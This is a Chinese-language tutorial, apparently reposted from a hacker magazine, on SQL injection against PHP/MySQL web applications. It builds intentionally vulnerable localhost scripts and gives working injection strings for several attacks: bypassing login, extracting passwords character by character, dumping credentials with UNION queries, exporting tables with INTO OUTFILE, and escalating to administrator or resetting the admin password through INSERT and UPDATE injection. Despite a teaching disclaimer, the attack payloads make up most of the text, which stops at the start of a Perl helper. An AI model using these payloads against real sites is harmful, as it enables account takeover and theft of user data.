否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句： ①SELECT * FROM article WHERE articleid=&#8217;$id&#8217; ②SELECT * FROM article WHERE articleid=$id [...]]]></description>
			<content:encoded><![CDATA[<p><strong>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于<a href="http://www.4ngel.net/article/30.htm">《Advanced SQL Injection with MySQL》</a>之前一个月。</strong></p>
<p><strong>声明</strong></p>
<p> 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。</p>
<p><strong>前言</strong></p>
<p> 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。</p>
<p><span id="more-615"></span>
<p><strong>关于php+Mysql的注入</strong></p>
<p> 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。   <br /> 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。    <br /> 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。</p>
<p><em>注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。</em></p>
<p><strong>php+Mysql注入的误区</strong></p>
<p> 很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&lt;command&gt; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。   <br /> 为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码：</p>
<p>$command = &quot;dir c:\&quot;;   <br />system($command);</p>
<p> 否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句：</p>
<p>①SELECT * FROM article WHERE articleid=&#8217;$id&#8217;   <br />②SELECT * FROM article WHERE articleid=$id</p>
<p> 两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。</p>
<p>① 指定变量$id为：   <br />1&#8242; and 1=2 union select * from user where userid=1/*    <br />此时整个SQL语句变为：    <br />SELECT * FROM article WHERE articleid=&#8217;1&#8242; and 1=2 union select * from user where userid=1/*&#8217;</p>
<p>②指定变量$id为：   <br />1 and 1=2 union select * from user where userid=1    <br />此时整个SQL语句变为：    <br />SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1</p>
<p> 看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数，我们的攻击就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。   <br /> 大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句，是没有包含引号的，大家不要认为真的可以不用引号注入，仔细看看PHPBB的代码，就可以发现，那个$forum_id所在的SQL语句是这样写的： </p>
<p>$sql = &quot;SELECT *   <br />FROM &quot; . FORUMS_TABLE . &quot;    <br />WHERE forum_id = $forum_id&quot;;</p>
<p> 由于没有用单引号包含变量，才给pinkeyes这个家伙有机可乘，所以大家在写PHP程序的时候，记得用单引号把变量包含起来。当然，必要的安全措施是必不可少的。</p>
<p><strong>简单的例子</strong></p>
<p> 先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然，这个例子也可以告诉大家如何学习构造有效的SQL语句。   <br /> 我们拿一个用户验证的例子，首先建立一个数据库和一个数据表并插入一条记录，如下：</p>
<p>CREATE TABLE `user` (   <br />`userid` int(11) NOT NULL auto_increment,    <br />`username` varchar(20) NOT NULL default ”,    <br />`password` varchar(20) NOT NULL default ”,    <br />PRIMARY KEY (`userid`)    <br />) TYPE=MyISAM AUTO_INCREMENT=3 ;</p>
<p>#   <br /># 导出表中的数据 `user`    <br />#</p>
<p>INSERT INTO `user` VALUES (1, &#8216;angel&#8217;, &#8216;mypass&#8217;);</p>
<p> 验证用户文件的代码如下：</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;&quot;;</p>
<p>$result = mysql_db_query($dbname, $sql);   <br />$userinfo = mysql_fetch_array($result);</p>
<p>if (empty($userinfo))   <br />{    <br />echo &quot;登陆失败&quot;;    <br />} else {    <br />echo &quot;登陆成功&quot;;    <br />}</p>
<p>echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;   <br />?&gt;</p>
<p> 这时我们提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; or 1=1</p>
<p> 就会返回：</p>
<p>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13   <br />登陆失败</p>
<p>SQL Query:SELECT * FROM user WHERE username=&#8217;angel&#8217; or 1=1&#8242; AND password=”</p>
<p>PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 </p>
<p> 看到了吗？单引号闭合后，并没有注释掉后面的单引号，导致单引号没有正确配对，所以由此可知我们构造的语句不能让Mysql正确执行，要重新构造：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; or &#8217;1=1</p>
<p> 这时显示“登陆成功”，说明成功了。或者提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217;/*   <br />http://127.0.0.1/injection/user.php?username=angel&#8217;%23</p>
<p> 这样就把后面的语句给注释掉了！说说这两种提交的不同之处，我们提交的第一句是利用逻辑运算，在ASP中运用可以说是非常广泛的，这个不用说了吧？第二、三句是根据mysql的特性，mysql支持/*和#两种注释格式，所以我们提交的时候是把后面的代码注释掉，值得注意的是由于编码问题，在IE地址栏里提交#会变成空的，所以我们在地址栏提交的时候，应该提交%23，才会变成#，就成功注释了，这个比逻辑运算简单得多了，由此可以看出PHP比ASP强大灵活多了。   <br /> 通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧？</p>
<p><strong>语句构造</strong></p>
<p> PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过，语句的构造才是最有趣味的地方，但构造语句和ACCESS、MSSQL都有少许不同，但同样可以发挥得淋漓尽致。看下面的例子。</p>
<p><strong>一、搜索引擎</strong></p>
<p> 网上有一大堆的PHP程序搜索引擎是有问题的，也就是提交特殊字符可以显示所有记录，包括不符合条件的，其实这个危害也不算大，因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。   <br /> 查询是只读的操作应该不会对数据产生破坏作用，不要太担心。不过泄露隐私不知道算不算危害，下面是一个标准的搜索引擎：</p>
<p>&lt;form method=&quot;GET&quot; action=&quot;search.php&quot; name=&quot;search&quot;&gt;   <br />&lt;input name=&quot;keywords&quot; type=&quot;text&quot; value=&quot;&quot; size=&quot;15&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;Search&quot;&gt;    <br />&lt;/form&gt;    <br />&lt;p&gt;&lt;b&gt;Search result&lt;/b&gt;&lt;/p&gt;</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$keywords = $_GET['keywords'];   <br />if (!empty($keywords)) {    <br /> //$keywords = addslashes($keywords);    <br /> //$keywords = str_replace(&quot;_&quot;,&quot;\_&quot;,$keywords);    <br /> //$keywords = str_replace(&quot;%&quot;,&quot;\%&quot;,$keywords);</p>
<p> $sql = &quot;SELECT * FROM &quot;.$db_prefix.&quot;article WHERE title LIKE &#8216;%$keywords%&#8217; $search ORDER BY title DESC&quot;;   <br /> $result = mysql_db_query($dbname,$sql);    <br /> $tatol=mysql_num_rows($result);</p>
<p> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;</p>
<p> if ($tatol &lt;=0){   <br /> echo &quot;The \&quot;&lt;b&gt;$keywords&lt;/b&gt;\&quot; was not found in all the record.&lt;p&gt;\n&quot;;    <br /> } else {    <br /> while ($article=mysql_fetch_array($result)) {    <br /> echo &quot;&lt;li&gt;&quot;.htmlspecialchars($article[title]).&quot;&lt;p&gt;\n&quot;;    <br /> } //while    <br /> }    <br />} else {    <br /> echo &quot;&lt;b&gt;Please enter some keywords.&lt;/b&gt;&lt;p&gt;\n&quot;;    <br />}    <br />?&gt;</p>
<p> 一般程序都是这样写的，如果缺乏变量检查，我们就可以改写变量，达到“注入”的目的，尽管没有危害，当我们输入“___” 、“.__ ”、“%”等类似的关键字时，会把数据库中的所有记录都取出来。如果我们在表单提交：</p>
<p>%&#8217; ORDER BY articleid/*   <br />%&#8217; ORDER BY articleid#    <br />__&#8217; ORDER BY articleid/*    <br />__&#8217; ORDER BY articleid#</p>
<p> SQL语句就被改变成下面的样子了，</p>
<p>SELECT * FROM article WHERE title LIKE &#8216;%%&#8217; ORDER BY articleid/*%&#8217; ORDER BY title DESC   <br />SELECT * FROM article WHERE title LIKE &#8216;%__&#8217; ORDER BY articleid#%&#8217; ORDER BY title DESC</p>
<p> 就会列出所有记录，包括被隐藏的，还可以改变排列顺序。这个虽然危害不大，也算是注入的一种方式了吧？</p>
<p><strong>二、查询字段</strong></p>
<p> 查询字段又可以分成两种，本表查询和跨表查询，这两种查询和ACCESS、MSSQL差不多，甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难？我们在ASP中经常使用的个别函数在PHP里要有小小的改动，如下：</p>
<p><strong>① 本表查询</strong></p>
<p> 看下面一条SQL语句，多用在论坛或者会员注册系统查看用户资料的，</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM user WHERE username=&#8217;$username&#8217;&quot;;   <br />$result = mysql_db_query($dbname,$sql);    <br />$row = mysql_fetch_array($result);</p>
<p>if (!$row) {   <br /> echo &quot;该记录不存在&quot;;    <br /> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br /> exit;    <br />}</p>
<p>echo &quot;你要查询的用户ID是：$row[userid]\n&quot;;   <br />echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br />?&gt;</p>
<p> 当我们提交的用户名为真时，就会正常返回用户的ID，如果为非法参数就会提示相应的错误，由于是查询用户资料，我们可以大胆猜测密码就存在这个数据表里（现在我还没有碰见过密码是单独存在另一个表的程序），记得刚才的身份验证程序吗？和现在的相比，就少了一个AND条件，如下：</p>
<p>SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;SELECT * FROM user WHERE username=&#8217;$username&#8217;</p>
<p> 相同的就是当条件为真时，就会给出正确的提示信息，如果我们构造出后面的AND条件部分，并使这部分为真，那我们的目的也就达到了，还是利用刚才建立的user数据库，用户名为angel，密码为mypass，   <br />看了上面的例子，应该知道构造了吧，如果我们提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and password=&#8217;mypass</p>
<p> 这个是绝对为真的，因为我们这样提交上面的SQL语句变成了下面的样子：</p>
<p>SELECT * FROM user WHERE username=&#8217;angel&#8217; AND password=&#8217;mypass&#8217;</p>
<p> 但在实际的攻击中，我们是肯定不知道密码的，假设我们知道数据库的各个字段，下面我们就开始探测密码了，首先获取密码长度：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and LENGTH(password)=&#8217;6</p>
<p> 在ACCESS中，用LEN()函数来获取字符串长度，在MYSQL中，要使用LENGTH()，只要没有构造错误，也就是说SQL语句能正常执行，那返回结果无外乎两种，不是返回用户ID，就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真，就会返回相关记录，是不是和ASP里一样？再用LEFT()、RIGHT()、MID()函数猜密码：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,1)=&#8217;m   <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,2)=&#8217;my    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,3)=&#8217;myp    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,4)=&#8217;mypa    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,5)=&#8217;mypas    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,6)=&#8217;mypass</p>
<p> 看，密码不是出来了吗？简单吧？当然实际情况会有不少条件限制，下面还会讲到这个例子的深入应用。</p>
<p><strong>② 跨表查询</strong></p>
<p> 这部分就和ASP有点出入了，除了一定要用UNION连接两条SQL语句，最难掌握的就是字段的数量，如果看过MYSQL参考手册，就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说，也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样，而且，如果前面的SELECT为真，就同时返回两个SELECT的结果，当前面的SELECT为假，就会返回第二个SELECT所得的结果，某些情况会替换掉在第一个SELECT原来应该显示的字段，如下图：</p>
<p><img src="http://www.4ngel.net/img/union.gif" width="700" height="405" /></p>
<p> 看了这个图直观多了吧？所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同，类型也相同，我们就可以这样提交:</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM……</p>
<p> 如果字段数量、字段类型任意一个不相同，就只能搞清除数据类型和字段数量，这样提交：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT 1,1,1,1,1,1,1 FROM……</p>
<p> 否则就会报错：</p>
<p>The used SELECT statements have a different number of columns</p>
<p> 如果不知道数据类型和字段数量，可以用1来慢慢试，因为1属于int\str\var类型，所以我们只要慢慢改变数量，一定可以猜到的。如果不能马上理解上面的理论，后面有很详细的例子。   <br /> 我们看看下面的数据结构，是一个简单的文章数据表。</p>
<p>CREATE TABLE `article` (   <br />`articleid` int(11) NOT NULL auto_increment,    <br />`title` varchar(100) NOT NULL default ”,    <br />`content` text NOT NULL,    <br />PRIMARY KEY (`articleid`)    <br />) TYPE=MyISAM AUTO_INCREMENT=3 ;</p>
<p>#   <br /># 导出表中的数据 `article`    <br />#</p>
<p>INSERT INTO `article` VALUES (1, &#8216;我是一个不爱读书的孩子&#8217;, &#8216;中国的教育制度真是他妈的落后！如果我当教育部长。我要把所有老师都解雇！&#8217;);   <br />INSERT INTO `article` VALUES (2, &#8216;我恨死你&#8217;, &#8216;我恨死你了，你是什么东西啊&#8217;);</p>
<p> 这个表的字段类型分别是int、varchar、text，如果我们用UNION联合查询的时候，后面的查询的表的结构和这个一样。就可以用“SELECT *”，如果有任何一个不一样，那我们只能用“SELECT 1,1,1,1……”了。</p>
<p> 下面的文件是一个很标准、简单的显示文章的文件，很多站点都是这种页面没有过滤，所以成为最明显的注入点，下面就拿这个文件作为例子，开始我们的注入实验。</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM article WHERE articleid=&#8217;$id&#8217;&quot;;   <br />$result = mysql_db_query($dbname,$sql);    <br />$row = mysql_fetch_array($result);</p>
<p>if (!$row)   <br />{    <br /> echo &quot;该记录不存在&quot;;    <br /> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br /> exit;    <br />}</p>
<p>echo &quot;title&lt;br&gt;&quot;.$row[title].&quot;&lt;p&gt;\n&quot;;   <br />echo &quot;content&lt;br&gt;&quot;.$row[content].&quot;&lt;p&gt;\n&quot;;    <br />echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br />?&gt;</p>
<p>正常情况下，我们提交这样的一个请求：</p>
<p>http://127.0.0.1/injection/show.php?id=1</p>
<p> 就会显示articleid为1的文章，但我们不需要文章，我们需要的是用户的敏感信息，就要查询user表，现在是查询刚才我们建立的user表。   <br /> 由于$id没有过滤给我们制造了这个机会，我们要把show.php文件中的SQL语句改写成类似这个样子：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM user ……</p>
<p> 由于这个代码是有单引号包含着变量的，我们现在提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user/*</p>
<p> 按道理说，应该显示用户表的username、password两个字段的内容才对啊，怎么正常显示文章呢？如图：</p>
<p><img src="http://www.4ngel.net/img/php2.gif" width="778" height="180" /></p>
<p> 其实，我们提交的articleid=1是article表里存在的，执行结果就是真了，自然返回前面SELECT的结果，当我们提交空的值或者提交一个不存在的值，就会蹦出我们想要的东西：</p>
<p>http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user/*   <br />http://127.0.0.1/injection/show.php?id=99999&#8242; union select 1,username,password from user/*</p>
<p> 如图：</p>
<p><img src="http://www.4ngel.net/img/php3.gif" width="770" height="180" /></p>
<p> 现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用，后面还会讲到一些高级的技巧。</p>
<p><strong>三、导出文件</strong></p>
<p> 这个是比较容易构造但又有一定限制的技术，我们经常可以看见以下的SQL语句：</p>
<p>select * from table into outfile &#8216;c:/file.txt&#8217;   <br />select * from table into outfile &#8216;/var/www/file.txt&#8217;</p>
<p> 但这样的语句，一般很少用在程序里，有谁会把自己的数据导出呢？除非是备份，但我也没有见过这种备份法。所以我们要自己构造，但必须有下面的前提条件：</p>
<ul>
<li>必须导出到能访问的目录，这样才能下载。 </li>
<li>能访问的目录必须要有可写的权限，否则导出会失败。 </li>
<li>确保硬盘有足够的容量能容下导出的数据，这个很少见。 </li>
<li>确保要已经存在相同的文件名，会导致导出失败，并提示：“File &#8216;c:/file.txt&#8217; already exists”，这样可以防止数据库表和文件例如/etc/passwd被破坏。 </li>
</ul>
<p> 我们继续用上面的user.php和show.php两个文件举例，如果一个一个用户猜解实在是太慢了，如果对方的密码或者其他敏感信息很复杂，又不会写Exploit，要猜到什么时候啊？来点大范围的，直接导出全部数据好了。user.php文件的查询语句，我们按照into outfile的标准格式，注入成下面的语句就能导出我们需要的信息了：</p>
<p>SELECT * FROM user WHERE username=&#8217;$username&#8217; into outfile &#8216;c:/file.txt&#8217;</p>
<p> 知道怎么样的语句可以实现我们的目的，我们就很容易构造出相应的语句：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; into outfile &#8216;c:/file.txt</p>
<p> 出现了错误提示，但从返回的语句看来，我们的SQL语句确实是注入正确了，即使出现错误，也是查询的问题了，文件还是乖乖的被导出了，如图：</p>
<p><img src="http://www.4ngel.net/img/php4.gif" width="701" height="479" /></p>
<p> 由于代码本身就有WHERE来指定一个条件，所以我们导出的数据仅仅是满足这个条件的数据，如果我们想导出全部呢？其实很简单，只要使这个WHERE条件为假，并且指定一个成真的条件，就可以不用被束缚在WHERE里了，来看看经典1=1发挥作用了：</p>
<p>http://127.0.0.1/injection/user.php?username=&#8217; or 1=1 into outfile &#8216;c:/file.txt</p>
<p> 实际的SQL语句变为：</p>
<p>SELECT * FROM user WHERE username=” or 1=1 into outfile &#8216;c:/file.txt&#8217;</p>
<p> 这样username的参数是空的，就是假了，1=1永远是真的，那or前面的WHERE就不起作用了，但千万别用and哦，否则是不能导出全部数据的。   <br /> 既然条件满足，在这种情况下就直接导出所有数据！如图：</p>
<p><img src="http://www.4ngel.net/img/php5.GIF" width="479" height="126" /></p>
<p> 但是跨表的导出文件的语句该怎么构造呢？还是用到UNION联合查询，所以一切前提条件都应该和UNION、导出数据一样，跨表导出数据正常情况下应该相下面的一样：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt&#8217;</p>
<p> 这样可以导出文件了，如果我们要构造就提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt</p>
<p> 文件是出来了，可是有一个问题，由于前面的查询articleid=&#8217;1&#8242;为真了，所以导出的数据也有整个文章的一部分，如图：</p>
<p><img src="http://www.4ngel.net/img/php6.gif" width="544" height="134" /></p>
<p> 所以我们把应该使前面的查询语句为假，才能只导出后面查询的内容，只要提交：</p>
<p>http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user into outfile &#8216;c:/user.txt</p>
<p> 这样才能得到我们想要的资料：</p>
<p><img src="http://www.4ngel.net/img/php5.GIF" width="479" height="126" /></p>
<p> 值得注意的是想要导出文件，必须magic_quotes_gpc没有打开，并且程序也没有用到addslashes()函数，还有不能对单引号做任何过滤，因为我们在提交导出路径的时候，一定要用引号包含起来，否则，系统不会认识那是一个路径，也不用尝试用char()或者什么函数，那是徒劳。</p>
<p><strong>INSERT</strong></p>
<p> 如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了，其实还有两个危害更大的操作，那就是INSERT和UPDATE语句，这类例子不多，先面先说说INSERT，这主要应用于改写插入的数据，我们来看个简单而又广泛存在的例子，看看下面的数据结构：</p>
<p>CREATE TABLE `user` (   <br />`userid` INT NOT NULL AUTO_INCREMENT ,    <br />`username` VARCHAR( 20 ) NOT NULL ,    <br />`password` VARCHAR( 50 ) NOT NULL ,    <br />`homepage` VARCHAR( 255 ) NOT NULL ,    <br />`userlevel` INT DEFAULT &#8217;1&#8242; NOT NULL ,    <br />PRIMARY KEY ( `userid` )    <br />);</p>
<p> 其中的userlevel代表用户的等级，1是普通用户，2是普通管理员，3是超级管理员，一个注册程序默认是注册成普通用户，如下：</p>
<p>INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;$username&#8217;, &#8216;$password&#8217;, &#8216;$homepage&#8217;, &#8217;1&#8242;);</p>
<p> 默认userlevel字段是插入1，其中的变量都是没有经过过滤就直接写入数据库的，不知道大家有什么想法？对，就是直接注入，使我们一注册就是超级管理员。我们注册的时候，构造$homepage变量，就可以达到改写的目的，指定$homepage变量为：</p>
<p>http://4ngel.net&#8217;, &#8217;3’)#</p>
<p> 插入数据库的时候就变成：</p>
<p>INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;angel&#8217;, &#8216;mypass&#8217;, &#8216;http://4ngel.net&#8217;, &#8217;3’)#&#8217;, &#8217;1&#8242;);</p>
<p> 这样就注册成为超级管理员了。但这种利用方法也有一定的局限性，比如，我没有需要改写的变量如userlevel字段是数据库的第一个字段，前面没有地方给我们注入，我们也没有办法了。   <br />或许INSERT还有更广泛的应用，大家可以自行研究，但原理都是一样的。</p>
<p><strong>UPDATE</strong></p>
<p> 和INSERT相比，UPDATE的应用更加广泛，如果过滤不够，足以改写任何数据，还是拿刚才的注册程序来说，数据结构也不变，我们看一下用户自己修改自己的资料，SQL语句一般都是这样写的：</p>
<p>UPDATE user SET password=&#8217;$password&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 用户可以修改自己的密码和主页，大家有什么想法？总不至于还是提升权限吧？程序中的SQL语句又没有更新userlevel字段，怎么提升啊？还是老办法，构造$homepage变量, 指定$homepage变量为：</p>
<p>http://4ngel.net&#8217;, userlevel=&#8217;3</p>
<p> 整个SQL语句就变成这样：</p>
<p>UPDATE user SET password=&#8217;mypass&#8217;, homepage=&#8217;http://4ngel.net&#8217;, userlevel=&#8217;3&#8242; WHERE id=&#8217;$id&#8217;</p>
<p> 我们是不是又变成超级管理员了？程序不更新userlevel字段，我们自己来。   <br />还有更加绝的，直接修改任意用户的资料，还是刚才的例句，但这次安全一点，使用MD5加密：</p>
<p>UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 尽管密码被加密了，但我们还是可以构造我们需要的语句，我们指定$password为：</p>
<p>mypass)&#8217; WHERE username=&#8217;admin&#8217;#</p>
<p> 这时整个语句变为：</p>
<p>UPDATE user SET password=&#8217;MD5(mypass)&#8217; WHERE username=&#8217;admin&#8217;#)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 这样就更改了更新的条件，我管你后面的代码是不是在哭这说：我们还没有执行啊。当然，也可以从$id下手，指定$id为：</p>
<p>&#8216; OR username=&#8217;admin&#8217;</p>
<p> 这时整个语句变为：</p>
<p>UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=” OR username=&#8217;admin&#8217;</p>
<p> 照样也可以达到修改的目的，所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值，甚至用$_SESSION['username']来读取服务器上的SESSION信息时，我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码，由此可见，灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。   <br /> 变量的提交方式可以是GET或POST，提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等，提交的方式可以是本地提交，服务器上提交或者是工具提交，多种多样就看你如何运用了。</p>
<p><strong>高级应用</strong></p>
<p><strong>1、 使用MYSQL内置函数</strong></p>
<p> 我们在ACCESS、MSSQL中的注入，有很多比较高级的注入方法，比如深入到系统，猜中文等，这些东西，在MYSQL也能很好得到发挥，其实在MYSQL有很多内置函数都可以用在SQL语句里，这样就可以使我们能在注入时更灵活，得到更多关于系统的信息。有几个函数是比较常用的：</p>
<p>DATABASE()   <br />USER()    <br />SYSTEM_USER()    <br />SESSION_USER()    <br />CURRENT_USER()    <br />……</p>
<p> 各个函数的具体作用大家可以查阅MYSQL手册，比如下面这句UPDATE：</p>
<p>UPDATE article SET title=$title WHERE articleid=1</p>
<p> 我们可以指定$title为以上的各个函数，因为没有被引号包含，所以函数是能正确执行的：</p>
<p>UPDATE article SET title=DATABASE() WHERE id=1    <br />#把当前数据库名更新到title字段    <br />UPDATE article SET title=USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=SYSTEM_USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=SESSION_USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=CURRENT_USER() WHERE id=1     <br />#把当前会话被验证匹配的用户名更新到title字段</p>
<p> 灵活运用MYSQL内置的函数，可以获得不少有用的信息，比如数据库版本、名字、用户、当前数据库等，比如前面跨表查询的例子，提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1</p>
<p> 可以看到一篇文章，我们怎么样才能知道MYSQL数据库的相关信息呢？同样也是用MYSQL内置函数配合UNION联合查询，不过相比之下就简单得多了，甚至还可以读取文件！既然要用到UNION，同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构，直接构造：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()</p>
<p> 就可以返回当前数据库名和数据库版本，构造是比较容易的。   <br /> 下面附上一段由我好友Super·Hei写的代码，可以把字符串转换为ASCII代码。感谢提供。</p>
<p>#!/usr/bin/perl   <br />#cody by Super·Hei     <br />#to angel    <br />#C:\&gt;test.pl c:\boot.ini    <br />#99,58,92,98,111,111,116,46,105,110,105</p>
